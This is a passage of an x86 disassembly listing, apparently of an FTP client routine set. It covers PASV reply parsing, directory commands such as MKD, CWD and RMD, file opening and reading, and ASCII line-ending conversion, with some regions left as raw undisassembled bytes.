dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h sub esp, 100h push ebx push ebp push esi mov esi, [esp+10Ch+arg_0] push edi mov edi, [esp+110h+arg_4] test esi, esi jnz short loc_42E5FC cmp edi, 4 jz short loc_42E5D6 cmp edi, 3 jnz short loc_42E5FC loc_42E5D6: ; CODE XREF: sub_42E5B0+1Fj mov eax, [esp+110h+arg_C] push offset aMissingPathArg ; "Missing path argument for file transfer"... add eax, 44h push eax nop call near ptr 77C3F931h add esp, 8 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E5FC: ; CODE XREF: sub_42E5B0+1Aj ; sub_42E5B0+24j mov ecx, [esp+110h+arg_8] mov ebp, dword_511A6C push ecx lea edx, [esp+114h+var_100] push offset dword_4474B8 push edx call ebp ; sprintf mov ebx, [esp+11Ch+arg_C] lea eax, [esp+11Ch+var_100] push ebx push 32h push eax call sub_42E490 add esp, 18h test eax, eax jz loc_42E7BE lea eax, [edi-1] ; switch 4 cases cmp eax, 3 ja loc_42E7AF ; default jmp off_42E7CC[eax*4] ; switch jump loc_42E648: ; DATA XREF: ___:off_42E7CCo mov ecx, dword_4474B0 ; jumptable 0042E641 case 1 mov dl, byte_4474B4 mov [esp+110h+var_100], ecx mov [esp+110h+var_FC], dl mov ebp, 1 jmp short loc_42E6B0 ; --------------------------------------------------------------------------- loc_42E663: ; CODE XREF: sub_42E5B0+91j ; DATA XREF: ___:off_42E7CCo mov eax, dword_4474A8 ; jumptable 0042E641 case 2 mov cl, byte_4474AC mov [esp+110h+var_100], eax mov [esp+110h+var_FC], cl mov ebp, 1 jmp short loc_42E6B0 ; --------------------------------------------------------------------------- loc_42E67D: ; CODE XREF: sub_42E5B0+91j ; DATA XREF: ___:off_42E7CCo mov edx, dword_4474A0 ; jumptable 0042E641 case 3 mov al, byte_4474A4 mov [esp+110h+var_100], edx mov [esp+110h+var_FC], al mov ebp, 1 jmp short loc_42E6B0 ; --------------------------------------------------------------------------- loc_42E697: ; CODE XREF: sub_42E5B0+91j ; DATA XREF: ___:off_42E7CCo mov ecx, dword_447498 ; jumptable 0042E641 case 4 mov dl, byte_44749C mov [esp+110h+var_100], ecx mov [esp+110h+var_FC], dl mov ebp, 2 loc_42E6B0: ; CODE XREF: sub_42E5B0+B1j ; sub_42E5B0+CBj ... test esi, esi jz short loc_42E703 lea edi, [esp+110h+var_100] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov edi, esi mov edx, ecx or ecx, 0FFFFFFFFh mov byte ptr [esp+edx+110h+var_100], 20h inc edx repne scasb not ecx dec ecx add ecx, edx cmp ecx, 100h jnb loc_42E7BE mov edi, esi or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx lea edx, [esp+edx+110h+var_100] mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_42E703: ; CODE XREF: sub_42E5B0+102j mov ecx, [esp+110h+arg_8] mov esi, [esp+110h+arg_10] push ebp push ecx push esi push ebx call sub_42E870 add esp, 10h cmp eax, 0FFFFFFFFh jz loc_42E7BE push ebx lea edx, [esp+114h+var_100] push 31h push edx call sub_42E490 add esp, 0Ch test eax, eax jnz short loc_42E758 mov eax, [esi] push eax call sub_401BEF add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E758: ; CODE XREF: sub_42E5B0+188j mov ecx, [esi] mov [ecx+1Ch], ebx mov eax, [ebx+24h] mov edx, [esi] cmp eax, 2 mov [ebx+20h], edx jnz short loc_42E79F mov eax, [esi] push ebx push eax call sub_42ED50 ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jnz short loc_42E79F mov ecx, [esi] push ecx call sub_401BEF add esp, 4 mov dword ptr [esi], 0 mov dword ptr [ebx+20h], 0 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E79F: ; CODE XREF: sub_42E5B0+1B8j ; sub_42E5B0+1C8j pop edi pop esi pop ebp mov eax, 1 pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E7AF: ; CODE XREF: sub_42E5B0+8Bj push edi ; default add ebx, 44h push offset aInvalidOpenTyp ; "Invalid open type %d\n" push ebx call ebp ; sprintf add esp, 0Ch loc_42E7BE: ; CODE XREF: sub_42E5B0+7Fj ; sub_42E5B0+12Cj ... pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 100h retn sub_42E5B0 endp ; --------------------------------------------------------------------------- align 4 off_42E7CC dd offset loc_42E648 ; DATA XREF: sub_42E5B0+91r dd offset loc_42E663 ; jump table for switch statement dd offset loc_42E67D dd offset loc_42E697 db 4 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E870 proc near ; CODE XREF: sub_42E5B0+165p var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = word ptr -120h var_11E = word ptr -11Eh var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_114 = byte ptr -114h var_110 = byte ptr -110h var_10C = byte ptr -10Ch var_108 = byte ptr -108h var_104 = byte ptr -104h arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 134h push ebx mov ebx, [esp+138h+arg_0] push ebp push esi mov eax, [ebx+18h] xor ebp, ebp mov esi, 1 cmp eax, ebp push edi mov [esp+144h+var_120], bp mov [esp+144h+var_11E], bp mov [esp+144h+var_11C], esi jnz loc_42EB94 mov eax, [esp+144h+arg_C] cmp eax, esi jz short loc_42E8D2 cmp eax, 2 jz short loc_42E8D2 push eax add ebx, 44h push offset aInvalidDirecti ; "Invalid direction %d\n" push ebx nop call near ptr 77C3F931h add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_42E8D2: ; CODE XREF: sub_42E870+3Aj ; sub_42E870+3Fj mov eax, [esp+144h+arg_8] cmp eax, 41h jz short loc_42E904 cmp eax, 49h jz short loc_42E904 push eax add ebx, 44h push offset aInvalidModeC ; "Invalid mode %c\n" push ebx nop call near ptr 77C3F931h add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_42E904: ; CODE XREF: sub_42E870+6Cj ; sub_42E870+71j mov eax, [ebx+24h] mov [esp+144h+var_124], 10h cmp eax, esi jnz loc_42E9E9 xor eax, eax push ebx mov [esp+148h+var_134], eax push 32h mov [esp+14Ch+var_130], eax push offset aPasv ; "PASV" mov [esp+150h+var_12C], eax mov word ptr [esp+150h+var_134], 2 mov [esp+150h+var_128], eax call sub_42E490 add esp, 0Ch test eax, eax jz loc_42EB94 lea ecx, [ebx+44h] push 28h push ecx nop call near ptr 77C47660h add esp, 8 cmp eax, ebp jz loc_42EB94 lea edx, [esp+144h+var_114] lea ecx, [esp+144h+var_118] push edx push ecx lea edx, [esp+14Ch+var_104] lea ecx, [esp+14Ch+var_108] push edx push ecx lea edx, [esp+154h+var_10C] lea ecx, [esp+154h+var_110] push edx push ecx inc eax push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u" push eax call near ptr 77C41B72h nop mov dl, [esp+164h+var_110] mov al, [esp+164h+var_10C] mov cl, [esp+164h+var_108] mov byte ptr [esp+164h+var_130], dl mov dl, [esp+164h+var_104] mov byte ptr [esp+164h+var_130+1], al mov al, [esp+164h+var_118] mov byte ptr [esp+164h+var_130+2], cl mov cl, [esp+164h+var_114] add esp, 20h mov byte ptr [esp+144h+var_130+3], dl mov byte ptr [esp+144h+var_134+2], al mov byte ptr [esp+144h+var_134+3], cl push 6 push esi push 2 call sub_438232 ; --------------------------------------------------------------------------- db 8Bh dd 0FFFF83F8h, 4684D75h, 90004474h, 808419E8h, 4C48377h dd 5E5FC70Bh, 0C4815B5Dh, 134h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_42E9E9: ; CODE XREF: sub_42E870+A1j mov ecx, [ebx+8] lea edx, [esp+144h+var_124] lea eax, [esp+144h+var_134] push edx push eax push ecx call sub_438220 ; --------------------------------------------------------------------------- dd 0BD7DC085h, 44752468h, 0E7E89000h, 83778083h, 0C03304C4h dd 5B5D5E5Fh, 134C481h, 8DC30000h, 6A282454h, 46A5204h dd 0FFFF68h, 4BE85700h, 83000098h, 0A75FFF8h, 4473F468h dd 147E900h, 448D0000h, 46A2424h, 806850h, 0FF680000h dd 570000FFh, 9825E8h, 0FFF88300h, 0F4680A75h, 0E9004473h dd 121h, 75247339h, 244C8D20h, 51106A10h, 97C2E857h, 0F8830000h dd 0EC850FFFh, 68000000h, 4471F4h, 0FCE9h, 24548D00h, 52106A10h dd 6C896657h, 8BE81E24h, 83000097h, 775FFF8h, 44751C68h dd 5610EB00h, 9766E857h, 0C0850000h, 1468217Dh, 90004475h dd 808335E8h, 4C48377h, 9736E857h, 5E5F0000h, 5BC0335Dh dd 134C481h, 8DC30000h, 8D202444h, 5010244Ch, 3DE85751h dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh, 0C3000001h dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h dd 20244C8Bh, 0FFE281h, 0FF250000h, 52000000h, 0FFE181h dd 51500000h, 5C24548Dh, 4474F868h, 0E8905200h, 77810DEDh dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh, 1375C085h dd 969EE857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h dd 144h, 0D54DE856h, 8B90777Fh, 8C483F0h, 2275F53Bh, 4473EC68h dd 8268E800h, 83907780h, 0E85704C4h, 9668h ; --------------------------------------------------------------------------- loc_42EB94: ; CODE XREF: sub_42E870+2Bj ; sub_42E870+D2j ... pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx add esp, 134h retn sub_42E870 endp ; --------------------------------------------------------------------------- dw 0BC83h dd 15024h, 41754100h, 200068h, 50E89000h, 83777FD8h, 0C53B04C4h dd 75144689h, 73EC682Ch, 27E80044h, 90778082h, 5704C483h dd 9627E8h, 0E8905600h, 777FD63Fh, 8304C483h, 5E5FFFC8h dd 0C4815B5Dh, 134h, 248C8BC3h, 154h, 89087E89h, 538B184Eh dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh, 0C3000001h, 90909090h dd 40h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42ED50 proc near ; CODE XREF: sub_42E5B0+1BEp var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 124h push ebx mov ebx, [esp+128h+arg_0] push ebp push esi mov esi, [esp+130h+arg_4] mov eax, [ebx+8] xor ebp, ebp push edi mov ecx, [esi+8] mov [esp+134h+var_FC], eax cmp ecx, eax mov [esp+134h+var_100], ecx mov [esp+134h+var_104], 2 mov [esp+134h+var_118], ebp mov [esp+134h+var_11C], 1Eh jge short loc_42ED92 mov ecx, eax loc_42ED92: ; CODE XREF: sub_42ED50+3Ej lea eax, [esp+134h+var_11C] lea edx, [esp+134h+var_104] push eax push ebp push ebp inc ecx push edx push ecx call sub_438208 sub_42ED50 endp ; --------------------------------------------------------------------------- db 83h, 0F8h, 0FFh dd 683E75h, 90000001h, 7F0507E8h, 50008B77h, 843CE890h dd 0C4837780h, 44C68304h, 0E8905650h, 77818CC4h, 83084B8Bh dd 0E8510CC4h, 9424h, 86B895Fh, 0C0335D5Eh, 24C4815Bh dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 447584BEh, 0A4A5F300h dd 5208538Bh, 93F7E8h, 6B895F00h, 335D5E08h, 0C4815BC0h dd 124h, 84B8BC3h, 3024448Dh, 33E85150h, 85000094h, 8B7A74C0h dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93C0E800h dd 0F88B0000h, 472E890h, 108B777Fh, 5008438Bh, 14245489h dd 93A3E8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1, 24C4815Bh dd 0C3000001h, 10244C8Bh, 10068h, 7BE85100h, 90778083h dd 8304C483h, 565044C6h, 818C03E8h, 0C4839077h, 86B890Ch dd 5E5FC033h, 0C4815B5Dh, 124h, 8468BC3h, 3024548Dh, 0A7E85052h dd 85000093h, 8B2474C0h, 0E851084Bh, 9340h, 89326A56h dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh, 124C481h dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_42EF60 proc near ; CODE XREF: sub_40226Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi cmp dword ptr [esi+18h], 1 jz short loc_42EF71 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42EF71: ; CODE XREF: sub_42EF60+Aj mov eax, [esi+14h] push esi test eax, eax jz short loc_42EF8D mov eax, [esp+0Ch+arg_4] mov ecx, [esp+0Ch+arg_0] push eax push ecx call sub_42DF40 add esp, 0Ch jmp short loc_42EFB4 ; --------------------------------------------------------------------------- loc_42EF8D: ; CODE XREF: sub_42EF60+17j call sub_42E170 add esp, 4 cmp eax, 1 jz short loc_42EF9F pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42EF9F: ; CODE XREF: sub_42EF60+38j mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] mov ecx, [esi+8] push 0 push edx push eax push ecx call sub_4381F0 ; --------------------------------------------------------------------------- loc_42EFB4: ; CODE XREF: sub_42EF60+2Bj mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_42EFC0 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42EFC0: ; CODE XREF: sub_42EF60+59j mov ecx, [esi+38h] add ecx, edi mov [esi+38h], ecx mov edx, ecx mov ecx, [esi+30h] test ecx, ecx jz short loc_42EFFF mov eax, [esi+3Ch] test eax, eax jz short loc_42EFFF push ebx mov ebx, [esi+40h] add ebx, edi mov [esi+40h], ebx cmp ebx, eax pop ebx jle short loc_42EFFF mov eax, [esi+34h] push eax push edx push esi call ecx add esp, 0Ch test eax, eax jnz short loc_42EFF8 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42EFF8: ; CODE XREF: sub_42EF60+93j mov dword ptr [esi+40h], 0 loc_42EFFF: ; CODE XREF: sub_42EF60+6Fj ; sub_42EF60+76j ... mov eax, edi pop edi pop esi retn sub_42EF60 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F040 proc near ; CODE XREF: sub_402216j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi cmp dword ptr [esi+18h], 2 jz short loc_42F051 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42F051: ; CODE XREF: sub_42F040+Aj mov eax, [esi+14h] push esi test eax, eax jz short loc_42F06D mov eax, [esp+0Ch+arg_4] mov ecx, [esp+0Ch+arg_0] push eax push ecx call sub_42F110 add esp, 0Ch jmp short loc_42F08A ; --------------------------------------------------------------------------- loc_42F06D: ; CODE XREF: sub_42F040+17j call sub_42E170 mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] mov ecx, [esi+8] add esp, 4 push 0 push edx push eax push ecx call sub_4381F6 ; --------------------------------------------------------------------------- loc_42F08A: ; CODE XREF: sub_42F040+2Bj mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_42F096 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42F096: ; CODE XREF: sub_42F040+4Fj mov edx, [esi+38h] mov eax, [esi+30h] add edx, edi test eax, eax mov [esi+38h], edx jz short loc_42F0CC mov ecx, [esi+3Ch] test ecx, ecx jz short loc_42F0CC push ebx mov ebx, [esi+40h] add ebx, edi mov [esi+40h], ebx cmp ebx, ecx pop ebx jle short loc_42F0CC mov ecx, [esi+34h] push ecx push edx push esi call eax add esp, 0Ch mov dword ptr [esi+40h], 0 loc_42F0CC: ; CODE XREF: sub_42F040+63j ; sub_42F040+6Aj ... mov eax, edi pop edi pop esi retn sub_42F040 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F110 proc near ; CODE XREF: sub_42F040+23p ; sub_42F2C0+28p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_8] push esi xor esi, esi xor al, al mov ecx, [ebp+18h] push edi cmp ecx, 2 jz short loc_42F12C pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx retn ; --------------------------------------------------------------------------- loc_42F12C: ; CODE XREF: sub_42F110+12j mov ecx, [esp+10h+arg_4] mov edi, [ebp+14h] xor ebx, ebx test ecx, ecx jle loc_42F254 loc_42F13D: ; CODE XREF: sub_42F110+AFj mov ecx, [esp+10h+arg_0] cmp byte ptr [ebx+ecx], 0Ah jnz short loc_42F17E cmp al, 0Dh jz short loc_42F17E cmp esi, 2000h jnz short loc_42F179 push ebp call sub_42E170 add esp, 4 test eax, eax jz short loc_42F1DA mov edx, [ebp+8] push 0 push esi push edi push edx call sub_4381F6 ; --------------------------------------------------------------------------- mov esi, eax cmp esi, 2000h jnz short loc_42F1E1 xor esi, esi loc_42F179: ; CODE XREF: sub_42F110+41j mov byte ptr [edi+esi], 0Dh inc esi loc_42F17E: ; CODE XREF: sub_42F110+35j ; sub_42F110+39j cmp esi, 2000h jnz short loc_42F1AC push ebp call sub_42E170 add esp, 4 test eax, eax jz short loc_42F1DA mov eax, [ebp+8] push 0 push esi push edi push eax call sub_4381F6 ; --------------------------------------------------------------------------- mov esi, eax cmp esi, 2000h jnz short loc_42F201 xor esi, esi loc_42F1AC: ; CODE XREF: sub_42F110+74j mov ecx, [esp+10h+arg_0] inc esi mov al, [ebx+ecx] mov ecx, [esp+10h+arg_4] mov [edi+esi-1], al inc ebx cmp ebx, ecx jl loc_42F13D test esi, esi jz loc_42F254 push ebp call sub_42E170 add esp, 4 test eax, eax jnz short loc_42F221 loc_42F1DA: ; CODE XREF: sub_42F110+4Ej ; sub_42F110+81j pop edi pop esi mov eax, ebx pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42F1E1: ; CODE XREF: sub_42F110+65j nop call near ptr 77C1F2BCh mov edx, [eax] push edx push esi push offset aNet_write1Retu ; "net_write(1) returned %d, errno = %d\n" nop call near ptr 77C4186Ah add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42F201: ; CODE XREF: sub_42F110+98j nop call near ptr 77C1F2BCh mov eax, [eax] push eax push esi push offset aNet_write2Retu ; "net_write(2) returned %d, errno = %d\n" call near ptr 77C4186Ah nop add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42F221: ; CODE XREF: sub_42F110+C8j mov ecx, [ebp+8] push 0 push esi push edi push ecx call sub_4381F6 ; --------------------------------------------------------------------------- dw 0F88Bh dd 2074FE3Bh, 82E890h, 108B777Fh, 0AC685752h, 90004475h dd 812621E8h, 0CC48377h, 5FFFC883h, 0C35B5D5Eh ; --------------------------------------------------------------------------- loc_42F254: ; CODE XREF: sub_42F110+27j ; sub_42F110+B7j mov eax, [esp+10h+arg_4] pop edi pop esi pop ebp pop ebx retn sub_42F110 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F2C0 proc near ; CODE XREF: sub_401BEFj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+18h] sub eax, 0 jz short loc_42F33B dec eax jz short loc_42F2F0 dec eax jz short loc_42F2DC loc_42F2D4: ; CODE XREF: sub_42F2C0+64j pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- loc_42F2DC: ; CODE XREF: sub_42F2C0+12j mov eax, [esi+14h] test eax, eax jz short loc_42F2F0 push esi push 0 push 0 call sub_42F110 add esp, 0Ch loc_42F2F0: ; CODE XREF: sub_42F2C0+Fj ; sub_42F2C0+21j mov eax, [esi+14h] push ebx mov ebx, dword_511AD0 test eax, eax jz short loc_42F304 push eax call ebx ; free add esp, 4 loc_42F304: ; CODE XREF: sub_42F2C0+3Cj mov eax, [esi+8] push 2 push eax call sub_438292 ; --------------------------------------------------------------------------- mov ecx, [esi+8] push ecx call sub_4381FC ; --------------------------------------------------------------------------- mov edi, [esi+1Ch] push esi call ebx ; free add esp, 4 test edi, edi pop ebx jz short loc_42F2D4 push edi push 32h mov dword ptr [edi+20h], 0 call sub_42DE00 add esp, 8 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F33B: ; CODE XREF: sub_42F2C0+Cj mov eax, [esi+20h] test eax, eax jz short loc_42F352 push esi mov dword ptr [esi+1Ch], 0 call sub_401BEF add esp, 4 loc_42F352: ; CODE XREF: sub_42F2C0+80j mov edx, [esi+8] push edx call sub_4381FC sub_42F2C0 endp ; --------------------------------------------------------------------------- db 56h db 90h db 0E8h, 0B9h, 0CEh dd 0C483777Fh, 5FC03304h, 9090C35Eh, 90909090h, 0Ch dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42F3A0: ; CODE XREF: ___:00401CF8j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 6 pop edi cmp ecx, 100h jbe short loc_42F3C9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42F3C9: ; CODE XREF: ___:0042F3C0j push edx lea eax, [esp+4] push offset aSiteS ; "SITE %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42E490 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F420: ; CODE XREF: ___:004016CCj push esi mov esi, [esp+8] push edi mov edi, [esp+14h] push edi push 32h push offset aSyst ; "SYST" call sub_42E490 add esp, 0Ch test eax, eax jnz short loc_42F441 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F441: ; CODE XREF: ___:0042F43Cj mov eax, [esp+10h] lea ecx, [edi+48h] lea edx, [eax-1] test edx, edx jz short loc_42F45C loc_42F44F: ; CODE XREF: ___:0042F45Aj mov al, [ecx] cmp al, 20h jz short loc_42F45C mov [esi], al inc esi inc ecx dec edx jnz short loc_42F44F loc_42F45C: ; CODE XREF: ___:0042F44Dj ; ___:0042F453j mov byte ptr [esi], 0 pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F490: ; CODE XREF: ___:00402270j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42F4B9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42F4B9: ; CODE XREF: ___:0042F4B0j push edx lea eax, [esp+4] push offset aMkdS ; "MKD %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42E490 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F510: ; CODE XREF: ___:0040227Fj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42F539 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42F539: ; CODE XREF: ___:0042F530j push edx lea eax, [esp+4] push offset aCwdS ; "CWD %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42E490 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F590: ; CODE XREF: ___:0040178Aj mov eax, [esp+4] push eax push 32h push offset aCdup ; "CDUP" call sub_42E490 add esp, 0Ch neg eax sbb eax, eax neg eax retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F5C0: ; CODE XREF: ___:00402220j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42F5E9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42F5E9: ; CODE XREF: ___:0042F5E0j push edx lea eax, [esp+4] push offset aRmdS ; "RMD %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42E490 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F640: ; CODE XREF: ___:00401677j push esi mov esi, [esp+8] push edi mov edi, [esp+14h] push edi push 32h push offset off_447670 call sub_42E490 add esp, 0Ch test eax, eax jnz short loc_42F661 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F661: ; CODE XREF: ___:0042F65Cj add edi, 44h push 22h push edi nop call near ptr 77C47660h add esp, 8 test eax, eax jnz short loc_42F677 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F677: ; CODE XREF: ___:0042F672j mov ecx, [esp+10h] inc eax lea edx, [ecx-1] test edx, edx jz short loc_42F695 loc_42F683: ; CODE XREF: ___:0042F693j mov cl, [eax] test cl, cl jz short loc_42F695 cmp cl, 22h jz short loc_42F695 mov [esi], cl inc esi inc eax dec edx jnz short loc_42F683 loc_42F695: ; CODE XREF: ___:0042F681j ; ___:0042F687j ... mov byte ptr [esi], 0 pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F6C0: ; CODE XREF: ___:00401127j mov eax, [esp+0Ch] mov ecx, [esp+8] mov edx, [esp+4] push 41h push 1 push eax push ecx push edx call sub_42F6F0 add esp, 14h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F6F0 proc near ; CODE XREF: ___:0042F6D3p ; ___:0042F953p ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h push ecx mov eax, [esp+4+arg_0] push ebx push ebp xor ebp, ebp push esi push edi mov edi, [esp+14h+arg_10] cmp eax, ebp mov [esp+14h+var_4], 1 jz short loc_42F77A mov esi, [esp+14h+arg_C] mov cx, word_4476B0 cmp esi, 4 mov word ptr [esp+14h+arg_10], cx mov word ptr [esp+14h+arg_10+2], bp jnz short loc_42F72A mov byte ptr [esp+14h+arg_10], 72h loc_42F72A: ; CODE XREF: sub_42F6F0+33j cmp edi, 49h jnz short loc_42F734 mov byte ptr [esp+14h+arg_10+1], 62h loc_42F734: ; CODE XREF: sub_42F6F0+3Dj lea edx, [esp+14h+arg_10] push edx push eax nop call near ptr 77C3F010h mov ebx, eax add esp, 8 cmp ebx, ebp jnz short loc_42F794 push 100h nop call near ptr 77C1F2BCh mov eax, [eax] push eax call near ptr 77C371FAh nop mov ecx, [esp+1Ch+arg_8] add esp, 4 add ecx, 44h push eax push ecx nop call near ptr 77C47A90h add esp, 0Ch xor eax, eax pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F77A: ; CODE XREF: sub_42F6F0+19j mov esi, [esp+14h+arg_C] cmp esi, 4 jnz short loc_42F78B mov ebx, dword_511A90 jmp short loc_42F794 ; --------------------------------------------------------------------------- loc_42F78B: ; CODE XREF: sub_42F6F0+91j mov edx, dword_511A90 lea ebx, [edx+20h] loc_42F794: ; CODE XREF: sub_42F6F0+57j ; sub_42F6F0+99j mov ecx, [esp+14h+arg_8] mov edx, [esp+14h+arg_4] lea eax, [esp+14h+arg_C] push eax push ecx push edi push esi push edx call sub_401F73 add esp, 14h test eax, eax jnz short loc_42F7B7 pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F7B7: ; CODE XREF: sub_42F6F0+BFj push 2000h nop call near ptr 77C2C407h add esp, 4 cmp esi, 4 mov edi, eax jnz short loc_42F82D mov ebp, dword_511AB0 push ebx push 2000h push 1 push edi call ebp ; fread mov esi, eax add esp, 10h test esi, esi jle loc_42F883 loc_42F7EA: ; CODE 